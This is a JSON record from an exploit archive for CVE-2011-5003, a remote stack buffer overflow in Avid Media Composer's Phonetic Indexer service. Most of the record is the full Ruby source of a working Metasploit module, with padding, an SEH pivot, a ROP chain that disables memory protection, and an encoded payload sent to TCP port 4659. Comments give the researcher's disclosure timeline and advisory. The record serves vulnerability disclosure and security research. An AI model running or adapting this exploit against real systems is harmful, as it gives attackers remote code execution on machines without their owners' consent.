{"exploit":{"id":"EDB-18183","name":"AVID Media Composer Phonetic Indexer - Remote Stack Buffer Overflow (Metasploit)","description":"AVID Media Composer Phonetic Indexer - Remote Stack Buffer Overflow (Metasploit)","cves":["CVE-2011-5003"],"author":"Nick Freeman","published":"2011-12-01","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18183","path":"exploits/windows/remote/18183.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18183.rb","vulnerabilities":[{"id":"CVE-2011-5003","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the Phonetic Indexer (AvidPhoneticIndexer.exe) in Avid Media Composer 5.5.3 and earlier allows remote attackers to execute arbitrary code via a long request to TCP port 4659.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-5003","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-5003"},"updatedAt":"2024-08-07T00:23:39.319Z","retrievedAt":"2026-11-27T16:07:43.597Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18183.png?v=2","url":"https://exploitbin.com/exploits/EDB-18183","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18183/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18183/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#Name :AVID Media Composer Phonetic Indexer Remote Stack Buffer Overflow\n#Vendor Website : http://www.avid.com\n#Date Released : November 29, 2011\n#Affected Software : AVID Media Composer <= 5.5.3 Researcher\n#Researcher : Nick Freeman (nick.freeman@security-assessment.com)\n\n#Description\n#Security-Assessment.com discovered a remote stack buffer overflow vulnerability in a network daemon that #ships with Avid Media Composer 5.5, named AvidPhoneticIndexer.exe. By sending a large request to the #listening network service, it is possible to overwrite the stack of the process and gain arbitrary code #execution.\n\n#Solution\n#No patch is available for this vulnerability at this time. Host and network based firewalling are #recommended as workarounds to limit the exposure of the vulnerable service.\n\n#Disclosure timeline\n#Security-Assessment.com practices responsible disclosure and made significant effort to report this #vulnerability to AVID.\n#14/05/11: Vulnerability identified.\n#17/05/11: Avid Media Composer 5.5.2 released.\n#26/05/11: Attempted calling, left voicemail and emailed the AVID Application Security Management team.\n#Early June 2011: Called members of the AVID Media Composer Development team.\n#Early-Mid June 2011: Emailed AVID Media Composer Product Management team, who indicated that they were aware #of the vulnerabilities before I had explained the nature of the issues. AVID explained that all #vulnerabilities were in the process of being resolved. Security-Assessment.com suggested collaboration to #ensure all issues were being identified, but AVID was not interested in pursuing this.\n#17/08/11: Avid Media Composer 5.5.3 released. Vulnerability still present.\n#05/11/11: Vulnerability released at Kiwicon V in Wellington, New Zealand.\n#19/11/11: Vulnerability released at Ruxcon 2011 in Melbourne, Australia.\n#29/11/11: Vulnerability advisory and exploit code published.\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::Remote::Tcp\n\n\tdef initialize(info={})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => \"Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow\",\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in process AvidPhoneticIndexer.exe (port 4659),\n\t\t\t\twhich comes as part of the Avid Media Composer 5.5 Editing Suite. This daemon sometimes starts on a\n\t\t\t\tdifferent port; if you start it standalone it will run on port 4660.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => \"$Revision: 13137 $\",\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'vt [nick.freeman@security-assessment.com]',\n\t\t\t\t],\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Remote_Stack_Buffer_Overflow.pdf' ],\n\t\t\t\t],\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1012,\n\t\t\t\t\t'BadChars' => \"\\x00\\x09\\x0a\\x0d\\x20\",\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t\t'EncoderType' => Msf::Encoder::Type::AlphanumMixed,\n\t\t\t\t\t'EncoderOptions' =>\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'BufferRegister' => 'EAX',\n\t\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Windows XP Professional SP3', {} ],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => \"Nov 29 2011\",\n\t\t\t'DefaultTarget'  => 0))\n\n\t\t\tregister_options(\n\t\t\t\t[\n\t\t\t\t\tOpt::RPORT(4659),\n\t\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\n\t\tjunk = 'A' * 216\n\t\tsehpivot = \"\\xeb\\x35\\x8b\\x02\" #0x028B35EB :  # ADD ESP,1800 # RETN\n\t\tjunk2 = 'A' * 732\n\n\t\trop_gadgets = [\n\n\t\t\t\t# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!) - a non-sayonara ROP would be super easy too, I'm just lazy :)\n\t\t\t\t0x7C344CC1,  # pop eax;ret;\n\t\t\t\t0x7C3410C2, # pop ecx;pop ecx;ret;\n\t\t\t\t0x7C342462, # xor chain; call eax {0x7C3410C2}\n\t\t\t\t0x7C38C510, # writeable location for lpflOldProtect\n\t\t\t\t0x7C365645, # pop esi;ret;\n\t\t\t\t0x7C345243, # ret;\n\t\t\t\t0x7C348F46, # pop ebp;ret;\n\t\t\t\t0x7C3487EC, # call eax\n\t\t\t\t0x7C344CC1, # pop eax;ret;\n\t\t\t\t0xfffffbfc, # {size}\n\t\t\t\t0x7C34D749, # neg eax;ret; {adjust size}\n\t\t\t\t0x7C3458AA, # add ebx, eax;ret; {size into ebx}\n\t\t\t\t0x7C3439FA, # pop edx;ret;\n\t\t\t\t0xFFFFFFC0, # {flag}\n\t\t\t\t0x7C351EB1, # neg edx;ret; {adjust flag}\n\t\t\t\t0x7C354648, # pop edi;ret;\n\t\t\t\t0x7C3530EA, # mov eax,[eax];ret;\n\t\t\t\t0x7C344CC1, # pop eax;ret;\n\t\t\t\t0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}\n\t\t\t\t0x7C355AEB, # sub eax,30;ret;\n\t\t\t\t0x7C378C81, # pushad; add al,0xef; ret;\n\t\t\t\t0x7C36683F, # push esp;ret;\n\t\t].pack(\"V*\")\n\n\t\t# need to control a buffer reg for the msf gen'd payload to fly. in this case:\n\t\tbufregfix = \"\\x8b\\xc4\" \t\t# MOV EAX,ESP\n\t\tbufregfix += \"\\x83\\xc0\\x10\" \t# ADD EAX,10\n\n\t\tconnect\n\t\tsploit = junk + sehpivot + junk2 + rop_gadgets + bufregfix + \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" + payload.encoded\n\t\tsock.put(sploit)\n\t\thandler\n\t\tdisconnect\n\tend\nend","sha256":"c251873418bf16b8ec46eb04380a1a298e092e1a9290edb6f6fe7d01fc410da8","bytes":4799,"fetchedAt":"2026-11-27T16:07:40.904Z","encoding":"utf-8 (display only; download retains original bytes)"}